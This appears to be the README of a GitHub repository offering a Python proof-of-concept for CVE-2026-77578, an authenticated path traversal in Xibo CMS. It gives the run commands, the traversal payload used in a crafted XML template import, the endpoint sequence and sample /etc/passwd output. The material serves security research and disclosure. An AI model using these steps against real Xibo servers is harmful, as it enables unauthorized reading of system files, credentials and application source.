soskalai/cve-2026-77578Python proof-of-concept exploiting CVE-2026-77578, an authenticated path traversal in Xibo CMS that reads arbitrary local files via crafted XML template imports.
CVE-2026-77578 is an authenticated Arbitrary Local File Read vulnerability in Xibo CMS.
An authenticated user with Admin privileges or Module Templates access can import a crafted XML template containing a path-based asset with a traversal sequence. The resulting asset can then be accessed through the module asset endpoint, causing Xibo to return the contents of the referenced local file.
<= 4.4.3>= 4.4.4AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)Xibo published the vulnerability as GHSA-pc3g-2hhm-46qc, confirming that versions <= 4.4.3 are affected and >= 4.4.4 are patched. The advisory assigns High severity with a CVSS v3.1 score of 8.8 and identifies CVE-2026-77578.
The provided Python PoC automates the exploitation process:
/developer/template/import./module/asset/<asset-id>.python3 poc.py <URL> -u <USERNAME> -p <PASSWORD> -f <FILE>
Example:
python3 poc.py http://localhost \
-u xibo_admin \
-p password \
-f /etc/passwd
Another example:
python3 poc.py http://localhost \
-u xibo_admin \
-p password \
-f /etc/os-release
The -f option defaults to /etc/passwd.
The following demonstrates successful retrieval of /etc/passwd:
==============================================
FILE CONTENT
==============================================
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
Authenticated User
|
v
GET /developer/template/view
|
v
Extract X-XSRF-TOKEN
|
v
POST /developer/template/import
|
| Crafted XML
| path="../../../../../etc/passwd"
v
Xibo creates the asset
|
v
GET /module/asset/<asset-id>
|
v
Contents of local file returned
The vulnerability was successfully validated against multiple files in a local Xibo CMS 4.4.3 test environment, including:
/etc/passwd/etc/hosts/etc/os-release/var/www/cms/web/index.phpThe PHP source file test demonstrates that the issue is capable of returning application source code, not merely system metadata.
Successful exploitation allows an authenticated attacker with the required Module Templates privileges to read arbitrary files accessible to the Xibo application process.
Depending on the deployment, this may expose:
This proof of concept is provided for authorized security research and defensive testing purposes only.
Only test systems that you own or have explicit permission to assess.
CVE-2026-77578/
├── poc.py
├── README.md
├── LICENSE
├── .gitignore
└── screenshots/
└── poc-output.png